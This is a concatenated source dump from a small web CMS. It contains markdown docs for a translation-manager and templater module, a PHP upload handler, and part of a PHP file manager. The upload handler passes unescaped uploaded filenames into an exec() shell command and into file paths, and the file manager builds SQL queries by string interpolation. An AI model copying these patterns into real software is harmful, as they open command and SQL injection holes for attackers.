inputArea: {
width: '100%',
marginBottom: theme.spacing(1)
},
textArea: {
minWidth: '100%',
maxWidth: '100%',
fontFamily: 'Roboto',
fontSize: 16,
paddingTop: 9,
paddingLeft: 12,
outlineColor: theme.palette.primary.main,
borderRadius: 5,
borderColor: '#c1bdbd'
}
}));
export default useStyles;
<file_sep>/src/pages/Package/index.js
import React, { useState, useEffect } from 'react';
import { withRouter } from 'react-router-dom';
import clsx from 'clsx';
import {
Box,
Paper,
Button,
Typography,
InputBase,
IconButton
} from '@material-ui/core';
import { Search as SearchIcon } from '@material-ui/icons';
import { useSnackbar } from 'notistack';
import { faBox } from '@fortawesome/free-solid-svg-icons';
import { useGroupingQuery } from '@app/utils/hooks/apollo';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { packaging } from '@app/api';
import { LoadingCard } from '@app/components/Cards';
import PreviewPackage from './Preview';
import PackageTable from './Table';
import useStyles from './style';
const PackageContainer = () => {
const classes = useStyles();
const [loading, setLoading] = useState(false);
const { enqueueSnackbar } = useSnackbar();
const [loadedData, setLoadedData] = useState([]);
const [selectedData, setSelectedData] = useState();
const resourceData = useGroupingQuery({ schemaType: 'package' });
useEffect(() => {
setLoading(true);
if (resourceData) {
setLoadedData(resourceData);
setLoading(false);
}
}, [resourceData]);
const handleSearchChange = (e) => {
const filterKey = e.target.value;
if (filterKey.length >= 3) {
const filteredData = resourceData.filter((el) =>
el.name.toLowerCase().includes(filterKey.toLowerCase())
);
setLoadedData(filteredData);
} else {
setLoadedData(resourceData);
}
};
const handleTableChange = (value) => {
setSelectedData(value);
};
const handlePackaging = async () => {
try {
const response = await packaging();
console.log(response);
enqueueSnackbar('Successfully packaged', { variant: 'success' });
} catch (error) {
console.log(error.message);
enqueueSnackbar(error.message, { variant: 'error' });
}
};
return (
<Box className={classes.root}>
<Box className={classes.header}>
<Box component={Typography} variant="h5" className={classes.title}>
<FontAwesomeIcon icon={faBox} />
Packages
</Box>
<Box component={Paper} className={classes.search}>
<InputBase
className={classes.input}
onChange={handleSearchChange}
placeholder="Search asset... ... "
inputProps={{ 'aria-label': 'search google maps' }}
/>
<IconButton
type="submit"
className={classes.iconButton}
aria-label="search"
>
<SearchIcon />
</IconButton>
</Box>
<Button
variant="contained"
className={classes.addButton}
onClick={handlePackaging}
>
Packaging
</Button>
</Box>
<LoadingCard
loading={loading}
height={`calc(100vh - 350px)`}
component={Paper}
className={clsx(classes.main, {
[classes.mainMd]: !selectedData,
[classes.mainSm]: !!selectedData
})}
>
<PackageTable
resources={loadedData}
onChange={handleTableChange}
dense={!!selectedData}
/>
</LoadingCard>
{selectedData && (
<PreviewPackage
resources={selectedData}
onChange={() => setSelectedData()}
/>
)}
</Box>
);
};
export default withRouter(PackageContainer);
<file_sep>/src/pages/Topology/index.js
import React, { useEffect, useState } from 'react';
import clsx from 'clsx';
import { withRouter } from 'react-router-dom';
import { useGroupingQuery } from '@app/utils/hooks/apollo';
import TreeView from './TreeView';
import TStation from './Station';
import TDistrict from './District';
import TSchool from './School';
import TClass from './Class';
import useStyles from './style';
const TopologyContainer = ({ match, history }) => {
const classes = useStyles();
const { params } = match;
const [openTreeView, setOpenTreeView] = useState(true);
const [treeData, setTreeData] = useState([]);
const [currPage, setCurrPage] = useState('');
const [treeLoading, setTreeLoading] = useState(false);
const stationData = useGroupingQuery({ schemaType: 'station' });
const districtData = useGroupingQuery({ schemaType: 'district' });
const schoolData = useGroupingQuery({ schemaType: 'school' });
const classData = useGroupingQuery({ schemaType: 'class' });
useEffect(() => {
if (params) {
if (!params.type) history.push({ pathname: '/topologies/stations' });
switch (params.type) {
case 'stations':
setCurrPage('station');
break;
case 'districts':
setCurrPage('district');
break;
case 'schools':
setCurrPage('school');
break;
case 'classes':
setCurrPage('class');
break;
default:
break;
}
}
}, [params]);
const generateTreeStructure = (arr1, arr2, arr3, arr4) => {
const tmp1 = [];
arr1.forEach((station) => {
const dis = arr2.filter((el) => el.topology?.station === station['_id']);
const tmp2 = [];
dis.forEach((district) => {
const sch = arr3.filter(
(el) => el.topology?.district === district['_id']
);
const tmp3 = [];
sch.forEach((school) => {
const cls = arr4.filter(
(el) => el.topology?.school === school['_id']
);
tmp3.push({ parent: school, children: cls });
});
tmp2.push({ parent: district, children: tmp3 });
});
tmp1.push({ parent: station, children: tmp2 });
});
return tmp1;
};
useEffect(() => {
setTreeLoading(true);
if (stationData && districtData && schoolData && classData) {
const tmp = generateTreeStructure(
stationData,
districtData,
schoolData,
classData
);
setTreeData(tmp);
setTreeLoading(false);
}
}, [stationData, districtData, schoolData, classData]);
return (
<div className={classes.root}>
<TreeView
loading={treeLoading}
open={openTreeView}
resources={treeData}
onChange={() => setOpenTreeView(!openTreeView)}
/>
<main
className={clsx({
[classes.mainOpen]: openTreeView,
[classes.mainClose]: !openTreeView
})}
>
{currPage === 'station' && <TStation resources={stationData} />}
{currPage === 'district' && (
<TDistrict resources={districtData} stations={stationData} />
)}
{currPage === 'school' && (
<TSchool resources={schoolData} districts={districtData} />
)}
{currPage === 'class' && (
<TClass resources={classData} schools={schoolData} />
)}
</main>
</div>
);
};
export default withRouter(TopologyContainer);
| 8e1454a7990273364d83d6d8486c5c7cafccbd79 | [
"JavaScript"
] | 55 | JavaScript | dragonmaster-alpha/emp-sig | 9b8670e241a988ec20ee7f005ca24075b59ccb2d | 64f4e71568519638782b1d47ffcda3931deabf8e |
refs/heads/master | <file_sep>package legacy
const (
P2KH uint8 = 31
P2SH = 90
P2KHTestnet = 66
P2SHTestnet = 127
)
// Address is a structure which has a raw unpacked version of a legacy
// address.
type Address struct {
Version uint8
Payload []uint8
}
| 186d92b0cd577e7bd331acd85e0d630f3a994e4e | [
"Go"
] | 1 | Go | proteanx/cashaddr-converter | 29f81f78aa1acd3d61b11248b6d88429bb541507 | 512b27c8d529b59435b516e86a99e2bac37e32d7 |
refs/heads/master | <repo_name>pegasus1992/Calculadora<file_sep>/README.md
# Calculadora
Este es el desarrollo del laboratorio # 7 de la asignatura COSW - Construcción de Software de la Escuela Colombiana de Ingeniería.
<file_sep>/app/src/main/java/com/edu/eci/cosw/calculadora/model/Calculator.java
package com.edu.eci.cosw.calculadora.model;
/**
* Created by <NAME> (Avuuna la Luz del Alba) on 11/2/16.
*/
public class Calculator {
public double addition(double num1, double num2) {
return num1 + num2;
}
public double substraction(double num1, double num2) {
return num1 - num2;
}
public double multiplication(double num1, double num2) {
return num1 * num2;
}
public double division(double num1, double num2) {
return num1 / num2;
}
public double sin(double num) {
return Math.sin(num);
}
public double cos(double num) {
return Math.cos(num);
}
public double tan(double num) {
return Math.tan(num);
}
}
| 45a589ffe80315cb92ce5232d39b7a29f024d0e0 | [
"Markdown",
"Java"
] | 2 | Markdown | pegasus1992/Calculadora | 736af922a0d90991f8cb5be7be1e2a910eb38481 | 9d28099a25b9bb22169e8b0e3b77b4e1461385ef |
refs/heads/master | <repo_name>sc0ttj/Project<file_sep>/docs/cms/js/modules/translation_manager.js.md
# translation_manager.js
This module shows a Translation Manager UI, which lists all the
languages available in a searchable table.
Translations can be enabled by clicking the ENABLE button next
to the desired language.
Enabling a translation will create a new URL and password - these
should be given to whoever will do the translation work.
Once a translator has logged into the given translation URL,
they'll see a form showing form fields for the English on the
left, and editable fields on the right. The translators should
put their translations for each item in the textboxes on the
right hand side.
Once the translations have been done, the translator can create the
translated version of the page, by clicking the PREVIEW button.
First, we get our dependencies.
```js
var $ = require('cash-dom'); // like jquery
var store = require('store'); // cross browser localStorage wrapper
```
Define a var the module can use to reference itself
```js
var self;
```
Use strict setting.
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
restore any previously enabled translations on page load
```js
init: function(){
self = cms.translationManager;
self.restoreTranslationSettings();
return true // if we loaded ok
},
```
### restoreTranslationSettings()
Get list of supported languages and get translations settings from
local storage (so we can re-enable translations that have been enabled)
```js
restoreTranslationSettings: function (){
var languages = cms.getLanguages(),
translations = store.get(cms.pageDir + '__translations');
/* if localStorage settings were found */
if (translations){
/* update the CMS with settings from local storage */
cms.translation = translations;
} else {
/* create new list of translations */
cms.translation = {};
/* for each supported language, create a translation object,
* so we can track if the translation is enabled or not
*/
Object.keys(languages).forEach(function (code){
/* cms.translation.push({ 'code': code, 'name': languages[code].name, 'enabled' : false}); */
cms.translation[code] = { 'name' : '', enabled: false};
cms.translation[code].name = languages[code].name;
});
}
},
```
### showUI()
show the Translation Manager UI
```js
showUI: function () {
var content = '',
callback = self.removeEventHandlers;
/* search form, filters the table below */
content += '<input \
type="text" \
class="cms-trans-autocomplete" \
placeholder="Enter language name.." />\
<div class="cms-trans-table-container">';
/* the table of translations ( fields = code|name|native name|url|pass|enable/disable) */
content += self.buildTranslationsTable();
content += '</div>'; // end table wrapper
/* load modal */
cms.modal.create({
"title": 'Manage Translations',
"contents": content,
"callback": callback
});
cms.modal.show();
self.addEventHandlers();
},
```
### buildTranslationsTable()
Build the table of languages. Fields for each - name, native name,
passwd, URL, enable button and disable button.
```js
buildTranslationsTable: function () {
var languages = cms.getLanguages(),
table = '<table id="cms-trans-table" class="cms-trans-table">';
/* add table header */
table += '<thead>\
<tr class="cms-trans-table-header">\
<th>code</th>\
<th>name</th>\
<th class="cms-trans-header-native-name">native name</th>\
<th>editor</th>\
<th>password</th>\
<th>enabled</th>\
</tr>\
</thead>\
<tbody>';
/* for each language, build a row in the table */
Object.keys(languages).forEach(function (key){
var code = key,
name = languages[code].name,
nativeName = languages[code].nativeName,
passwd = '-';
table += '\n\
<tr class="cms-trans-row">\n\
<td class="cms-trans-code" data-label="code:">\n\
'+code+'\n\
</td>\n\
<td class="cms-trans-name" data-label="name:">\n\
'+name+'\n\
</td>\n\
<td class="cms-trans-native-name" data-label="native name:" dir="'+languages[code].direction+'" >\n\
'+nativeName+'\n\
</td>\n';
/* here we check a persistent list of our translations..
* this list has each lang, enabled or not, and the passwd */
/* if this translation is NOT enabled, show button to enable it */
if (cms.translation[code].enabled === false){
table += '\
<td class="cms-trans-url" data-label="editor:">\n\
-\n\
</td>\n\
<td class="cms-trans-passwd" data-label="password:">\n\
-\n\
</td>\n\
<td class="cms-trans-enabled" data-label="">\n\
<button data-lang="'+code+'" class="cms-trans-btn cms-trans-btn-enable">Enable</button>\n\
</td>\n';
/* if this translation IS enabled, show button to disable it */
} else {
table += '\
<td class="cms-trans-url" data-label="editor:">\n\
<a href="?translate='+code+'" target="_blank" title="Edit '+name+'">Edit</a>\n\
</td>\n\
<td class="cms-trans-passwd" data-label="password:">\n\
'+cms.translation[code].passwd+'\n\
</td>\n\
<td class="cms-trans-disabled" data-label="">\n\
<button data-lang="'+code+'" class="cms-trans-btn cms-trans-btn-disable">Disable</button>\n\
</td>\n';
}
table += '</tr>';
});
table += '</tbody></table>';
return table;
},
```
### updateTable()
update the contents of the table after enabling/disabling a translation
```js
updateTable: function () {
var table = self.buildTranslationsTable(); // get latest table
/* disable existing event handlers */
self.removeEventHandlers();
/* replace table HTML, then update search settings */
$('.cms-trans-table-container').html(table);
self.autoCompleteHandler();
/* add event handlers */
self.addEventHandlers();
/*save translation settings to localStorage */
store.set(cms.pageDir + '__translations', cms.translation);
},
```
### addEventHandlers()
Add events when search field is changed and translation buttons are clicked
```js
addEventHandlers: function () {
$('.cms-trans-autocomplete').on('keyup', self.autoCompleteHandler);
$('.cms-trans-autocomplete').on('change', self.autoCompleteHandler);
$('.cms-trans-btn-enable').on('click', self.enableBtnHandler);
$('.cms-trans-btn-disable').on('click', self.disableBtnHandler);
},
```
### autoCompleteHandler()
Hides table rows which do not match the given search term -
it gets the search term on input change, and applies CSS to
hide non-matching rows
```js
autoCompleteHandler: function () {
/* adapted from http://www.w3schools.com/howto/howto_js_filter_table.asp */
var input, filter, table, tr, td, i;
input = $('.cms-trans-autocomplete')[0];
filter = input.value.toUpperCase();
table = document.getElementById('cms-trans-table');
tr = $(table).find('tr:not(.cms-trans-table-header)');
/* for each row in the table */
for (i = 0; i < tr.length; i++) {
var code = tr[i].getElementsByTagName('td')[0],
name = tr[i].getElementsByTagName('td')[1],
native = tr[i].getElementsByTagName('td')[2],
match = false;
/* check code, name and native name for matching string */
if (code && code.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
} else if (name && name.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
} else if (native && native.innerHTML.toUpperCase().indexOf(filter) > -1) {
match = true;
}
/* if row had TD with matching contents, dont hide it */
if (match) {
tr[i].style.display = '';
} else {
/* hide it cos it didnt match */
tr[i].style.display = "none";
}
}
},
```
### enableBtnHandler()
```js
enableBtnHandler: function () {
var lang = $(this).attr('data-lang');
/* button was clicked, so get the password */
self.getTranslatorPasswd(lang, function updatePasswdInTable(passwd){
if (passwd !== '') {
/* enable this translation and store passwd */
cms.translation[lang].enabled = true;
cms.translation[lang].passwd = passwd;
/* update the table to show enabled translation */
self.updateTable();
}
});
},
```
### disableBtnHandler()
```js
disableBtnHandler: function () {
var lang = $(this).attr('data-lang');
/* update the setting for this translation */
cms.translation[lang].enabled = false;
/* update the translations table */
self.updateTable();
},
```
### getTranslatorPasswd(lang, callback)
Gets the password for the selected language/translation row,
and if no passwd file exists, it will create one.
@param `lang` - string, 2 letter ISO language code (see [languages.js](https://github.com/sc0ttj/Project/blob/master/src/cms/js/modules/languages.js))
@param `callback` - a function which takes a `passwd` string as a param
```js
getTranslatorPasswd: function (lang, callback) {
var data = new FormData();
data.append('get_passwd', true);
var onSuccessHandler = function (passwd){
if (typeof callback == 'function') callback(passwd);
};
var onErrorHandler = function (result){
/* if no translation passwd found, create one as the translation was just enabled */
self.createTranslatorPasswd(lang, function (passwd){
/* enable this translation and store passwd */
cms.translation[lang].enabled = true;
cms.translation[lang].passwd = <PASSWORD>;
/* update the table */
self.updateTable();
});
};
cms.ajax.create('POST', 'cms/api/passwds/'+lang+'.php');
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(data);
},
```
### createTranslatorPasswd(lang, callback)
POSTs an `enable_translation` and `lang` to the translation backend,
which will create a password and return it. On success, this func will
execute the given callback, passing to it the new passwd as a param.
@param `lang` - string, 2 letter ISO language code (see [languages.js](https://github.com/sc0ttj/Project/blob/master/src/cms/js/modules/languages.js))
@param `callback` - a function which takes a `passwd` string as a param
```js
createTranslatorPasswd: function (lang, callback) {
var data = new FormData();
data.append('lang', lang);
data.append('enable_translation', true);
var onSuccessHandler = function (passwd){
if (typeof callback == 'function') callback(passwd);
};
var onErrorHandler = function (msg){
console.log('error creating password for translation ' + lang, msg);
};
cms.ajax.create('POST', cms.config.api.translate);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
cms.ajax.send(data);
},
```
### removeEventHandlers()
```js
removeEventHandlers: function () {
$('.cms-trans-btn-enable').off('click', self.enableBtnHandler);
$('.cms-trans-btn-disable').off('click', self.disableBtnHandler);
$('.cms-trans-autocomplete').off('keyup', self.autoCompleteHandler);
$('.cms-trans-autocomplete').off('change', self.autoCompleteHandler);
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ translation_manager.js](translation_manager.js "View in source")
<file_sep>/src/cms/api/upload.php
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
require_once('validate_user.inc.php');
// if a file was uploaded
if ( is_array($_FILES) ){
// images
if ( isset($_FILES['image']) ){
if ( is_uploaded_file($_FILES['image']['tmp_name']) ){
// get the filename and paths
$sourcePath = $_FILES['image']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $url_path . 'images/'.$_FILES['image']['name'];
// build image optimization cmd
$inputFile = $targetPath;
$outputDir = $_SERVER['DOCUMENT_ROOT'] . $url_path . 'images/';
$optimizeImgCmd = "mogrify -path $outputDir -quality 80 -define png:compression-level=9 $inputFile";
// move file and optimize
if ( move_uploaded_file($sourcePath,$targetPath) ){
echo "Image uploaded... ";
if ( exec($optimizeImgCmd) ){
echo "Image compressed.";
}
} else {
echo "Image NOT uploaded... ";
}
}
}
// videos
if ( isset($_FILES['video']) ){
if ( is_uploaded_file($_FILES['video']['tmp_name']) ){
// get the filename and paths
$sourcePath = $_FILES['video']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $url_path . 'videos/'.$_FILES['video']['name'];
// move file and optimize
if ( move_uploaded_file($sourcePath,$targetPath) ){
echo "Video uploaded... ";
} else {
echo "Video NOT uploaded... ";
}
}
}
// vocabs
if ( isset($_FILES['vocab']) ){
if ( is_uploaded_file($_FILES['vocab']['tmp_name']) ){
// get the filename and paths
$sourcePath = $_FILES['vocab']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $url_path . 'vocabs/'.$_FILES['vocab']['name'];
// move file and optimize
if ( move_uploaded_file($sourcePath,$targetPath) ){
echo "Vocab uploaded... ";
} else {
echo "Vocab NOT uploaded!... ";
echo '<pre>';
// print_r($_SERVER);
// echo $targetPath;
echo '</pre>';
}
}
}
}
?><file_sep>/docs/cms/js/modules/templater.js.md
# templater.js
A small module that uses [mustache.js](https://www.npmjs.com/package/mustache) to create HTML by combining
`.tmpl` files and JSON data.
See the templates in [src/app/templates/](https://github.com/sc0ttj/Project/tree/master/src/app/templates).
Get our dependencies.
```js
var $ = require('cash-dom'); // like jquery
var m = require('mustache'); // template compiler
```
use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
var sections = this.getSections();
sections.each(this.numberTheSections);
return true // if we loaded ok
},
```
### getSections()
@return `sections` - an HTML Collection of the sections of the page
```js
getSections: function(){
var sections = $(cms.config.sectionSelector);
return sections;
},
```
### numberTheSections(elem, i)
Adds a numberred class and id to the given element
@param `elem` - the section to number
@param `index` - the index position of the section
```js
numberTheSections: function(elem, i){
$(elem).addClass('section' + (i+1));
$(elem).attr('id', 'section'+(i+1));
},
```
### renderTemplate(template, data)
renders HTML from mustache templates
@param `template` - string, a mustache template (see `src/app/templates/*.tmpl`)
@param `data` - JSON object - the keys/values to populate the given template
@return `html` - string, the compiled HTML output
```js
renderTemplate: function(template, data){
m.parse(template); // caching
return m.render(template, data);
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ templater.js](templater.js "View in source")
<file_sep>/src/app/assets/phpfm.php
<?php
// session_start();
$self = "phpfm.php";
$selfdb = "phpfm.db";
require_once('cms/api/passwds/admin.php');
// Has posix
// $puser = "";
// if (function_exists("posix_getpwuid"))
// $puser = posix_getpwuid(posix_geteuid())['name'];
// Form or HTTP Digest, depending on SSL
$loginmethod = 1;
// ***Never*** change the following CLSIDs
// {BE57D5A5-200B-4BB2-90F2-9A0FABC0FD8A}
$users = array();
$storage = 1;
// {A50180F7-90D7-45B7-B250-9C381217A6DF}
if(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off')
{
$loginmethod = 2;
}
// Head output
function Head()
{
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>File Manager</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://cdnjs.cloudflare.com/ajax/libs/tether/1.4.0/js/tether.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"></script>
<script src="//oss.maxcdn.com/jquery.form/3.50/jquery.form.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<script src="https://www.google.com/recaptcha/api.js"></script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.6.2/chosen.css" rel="stylesheet">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chosen/1.6.2/chosen.jquery.js"></script>
<!-- Custom Fonts -->
<!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" /> -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootbox.js/4.4.0/bootbox.min.js"></script>
<!-- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> -->
<!-- Custom CSS -->
<style>
body {
font-size: 1.6rem;
}
@media (min-width: 768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.navbar-top-links {
/* margin-right: 0; */
margin-right: 0;
right: 0;
top: 70px;
position: absolute;
}
.navbar-top-links li {
display: inline-block;
}
.navbar-top-links li:last-child {
margin-right: 15px;
}
.navbar-top-links li a {
/* padding: 15px;
min-height: 50px;
*/ }
.navbar-top-links .dropdown-menu li {
display: block;
}
.navbar-top-links .dropdown-menu li:last-child {
margin-right: 0;
}
.navbar-top-links .dropdown-menu li a {
padding: 3px 20px;
min-height: 0;
}
.navbar-top-links .dropdown-menu li a div {
white-space: normal;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
width: 270px;
min-width: 0;
}
.navbar-top-links .dropdown-messages {
margin-left: 5px;
}
.navbar-top-links .dropdown-tasks {
margin-left: -59px;
}
.navbar-top-links .dropdown-alerts {
margin-left: -206px;
}
@media (max-width: 380px) {
.navbar-top-links .dropdown-alerts {
margin-left: -134px;
}
}
.navbar-top-links .dropdown-user {
right: 0;
left: auto;
}
/* overrride bootstrap */
.nav>li>a.dropdown-toggle:hover,.nav>li>a.dropdown-toggle:focus {
text-decoration: none;
background-color: transparent !important;
}
.navbar {
background-color: #222;
color: #eee;
padding: 8px;
padding-bottom: 6px;
top: -50px; /* hide it for now */
}
.sidebar .sidebar-nav.navbar-collapse {
padding-left: 0;
padding-right: 0;
}
.sidebar .sidebar-search {
padding: 15px;
}
.sidebar ul li {
border-bottom: 1px solid #e7e7e7;
}
.sidebar ul li a.active {
background-color: #eeeeee;
}
.sidebar .arrow {
float: right;
}
.sidebar .fa.arrow:before {
content: "\f104";
}
.sidebar .active > a > .fa.arrow:before {
content: "\f107";
}
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: none !important;
}
.sidebar .nav-second-level li a {
padding-left: 37px;
}
.sidebar .nav-third-level li a {
padding-left: 52px;
}
@media (min-width: 768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
.navbar-top-links .dropdown-messages,
.navbar-top-links .dropdown-tasks,
.navbar-top-links .dropdown-alerts {
margin-left: auto;
}
}
.btn-outline {
color: inherit;
background-color: transparent;
transition: all .5s;
}
.btn-primary.btn-outline {
color: #428bca;
}
.btn-success.btn-outline {
color: #5cb85c;
}
.btn-info.btn-outline {
color: #5bc0de;
}
.btn-warning.btn-outline {
color: #f0ad4e;
}
.btn-danger.btn-outline {
color: #d9534f;
}
.btn-primary.btn-outline:hover,
.btn-success.btn-outline:hover,
.btn-info.btn-outline:hover,
.btn-warning.btn-outline:hover,
.btn-danger.btn-outline:hover {
color: white;
}
.panel .slidedown .glyphicon,
.chat .glyphicon {
margin-right: 5px;
}
.chat-panel .panel-body {
height: 350px;
overflow-y: scroll;
}
.login-panel {
margin-top: 25%;
}
.flot-chart {
display: block;
height: 400px;
}
.flot-chart-content {
width: 100%;
height: 100%;
}
.show-grid [class^="col-"] {
padding-top: 10px;
padding-bottom: 10px;
border: 1px solid #ddd;
background-color: #eee !important;
}
.show-grid {
margin: 15px 0;
}
.huge {
font-size: 40px;
}
.panel-green {
border-color: #5cb85c;
}
.panel-green > .panel-heading {
border-color: #5cb85c;
color: white;
background-color: #5cb85c;
}
.panel-green > a {
color: #5cb85c;
}
.panel-green > a:hover {
color: #3d8b3d;
}
.panel-red {
border-color: #d9534f;
}
.panel-red > .panel-heading {
border-color: #d9534f;
color: white;
background-color: #d9534f;
}
.panel-red > a {
color: #d9534f;
}
.panel-red > a:hover {
color: #b52b27;
}
.panel-yellow {
border-color: #f0ad4e;
}
.panel-yellow > .panel-heading {
border-color: #f0ad4e;
color: white;
background-color: #f0ad4e;
}
.panel-yellow > a {
color: #f0ad4e;
}
.panel-yellow > a:hover {
color: #df8a13;
}
.timeline {
position: relative;
padding: 20px 0 20px;
list-style: none;
}
.timeline:before {
content: " ";
position: absolute;
top: 0;
bottom: 0;
left: 50%;
width: 3px;
margin-left: -1.5px;
/* background-color: #eeeeee; */
}
a:link { text-decoration: none; }
a:visited { text-decoration: none; }
a:hover { text-decoration: none; }
a:active { text-decoration: none; }
#filemenu { position: absolute; display:none; }
#foldermenu { position: absolute; display:none; }
/* we're hiding menu bar, so move content up by same height */
@media (min-width: 600px) {
div#content {
top: -38px;
position: relative;
}
.alert {
margin-bottom: 50px !important;
}
}
div#datatable_wrapper {
top: -20px;
position: relative;
}
th.sorting.sorting-size {
max-width: 50px !important;
}
</style>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/v/bs/jqc-1.12.3/pdfmake-0.1.18/dt-1.10.12/b-1.2.1/b-html5-1.2.1/b-print-1.2.1/fh-3.1.2/r-2.1.0/datatables.min.css" />
<script type="text/javascript" src="https://cdn.datatables.net/v/bs/jqc-1.12.3/pdfmake-0.1.18/dt-1.10.12/b-1.2.1/b-html5-1.2.1/b-print-1.2.1/fh-3.1.2/r-2.1.0/datatables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.blockUI/2.70/jquery.blockUI.min.js"></script>
</head>
<?php
}
function LastError()
{
$r = print_r(error_get_last(),true);
return $r;
}
function PrintSessionErrors()
{
if (array_key_exists("error",$_SESSION))
{
?>
<div class="alert alert-danger alert-dismissable">
<a href="#" class="close" data-dismiss="alert" aria-label="close">x</a>
<?= $_SESSION['error'] ?>
</div>
<?php
unset($_SESSION['error']);
}
if (array_key_exists("success",$_SESSION))
{
?>
<div class="alert alert-success alert-dismissable">
<a href="#" class="close" data-dismiss="alert" aria-label="close">x</a>
<?= $_SESSION['success'] ?>
</div>
<?php
unset($_SESSION['success']);
}
}
function enumDir($path,&$arr = array())
{
if (is_dir($path) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $file)
{
if (in_array($file->getBasename(), array('.', '..')) !== true)
{
array_push($arr,$file->getPathName());
}
}
array_push($arr,$path);
}
else if ((is_file($path) === true) || (is_link($path) === true))
{
if (in_array($file->getBasename(), array('.htaccess')) !== true)
{
array_push($arr,$path);
}
}
return;
}
function deleteDir($path)
{
if (is_dir($path) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $file)
{
if (in_array($file->getBasename(), array('.', '..')) !== true)
{
if ($file->isDir() === true)
{
rmdir($file->getPathName());
}
else if (($file->isFile() === true) || ($file->isLink() === true))
{
unlink($file->getPathname());
}
}
}
return rmdir($path);
}
else if ((is_file($path) === true) || (is_link($path) === true))
{
return unlink($path);
}
return false;
}
if ($storage == 2)
{
$db = new SQLite3($selfdb);
$db->query("CREATE TABLE IF NOT EXISTS USERS (ID INTEGER,USERNAME,ADMIN,PASSWORD,ROOT)");
$db->query("CREATE TABLE IF NOT EXISTS ACCESS (ID INTEGER,UID INTEGER,FOLD TEXT,ACC INTEGER)");
$d = $db->query("SELECT * FROM USERS");
$users = array();
while($row = $d->fetchArray())
{
$users[$row['USERNAME']]['admin'] = $row['ADMIN'];
$users[$row['USERNAME']]['password'] = $row['<PASSWORD>'];
$users[$row['USERNAME']]['root'] = $row['ROOT'];
$d2 = $db->query(sprintf("SELECT * FROM ACCESS WHERE UID = %s",$row['ID']));
$acc = array();
while($row2 = $d2->fetchArray())
{
$acc[$row2['FOLD']] = $row2['ACC'];
}
$users[$row['USERNAME']]['access'] = $acc;
}
}
function SaveDB()
{
global $users;
global $storage;
global $selfdb;
if ($storage != 2)
return;
$db = new SQLite3($selfdb);
$db->query("DELETE FROM USERS");
$db->query("DELETE FROM ACCESS");
if (count($users) == 1 && $users['root']['password'] == "")
return;
$i = 0;
$k = 0;
foreach($users as $un => $user)
{
$i++;
$db->query("INSERT INTO USERS (ID,USERNAME,ADMIN,PASSWORD,ROOT) VALUES ('$i','$un','{$user['admin']}','{$user['password']}','{$user['root']}')");
foreach($user['access'] as $a1 => $a2)
{
$k++;
$db->query("INSERT INTO ACCESS (ID,UID,FOLD,ACC) VALUES ('$k','$i','$a1','$a2')");
}
}
}
$string1 = "";
$string2 = "";
function BeforeUsersUpdate()
{
global $storage;
global $self;
global $string1;
global $string2;
$stri1 = "// {BE57D5A5-200B-4BB2-90F2-9A0FABC0FD8A}";
$stri2 = "// {A50180F7-90D7-45B7-B250-9C381217A6DF}";
$fr = file_get_contents($self);
$a = strpos($fr,$stri1);
if ($a === false)
die;
$string1 = substr($fr,0,$a + strlen($stri1));
$a = strpos($fr,$stri2);
if ($a === false)
die;
$string2 = substr($fr,$a);
}
function AfterUsersUpdate()
{
global $storage;
if ($storage == 2)
SaveDB();
global $self;
global $string1;
global $string2;
if (!strlen($string1) || !strlen($string2))
return; // duh
$r = LoadUsers();
if ($storage == 2)
$r = '$users = array();';
$r2 = sprintf('$storage = %s;',$storage);
$fstr = $string1 . "\r\n" . $r . "\r\n" . $r2 . "\r\n" . $string2;
file_put_contents($self,$fstr);
}
// HTTP Digest Authentication stuff
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));
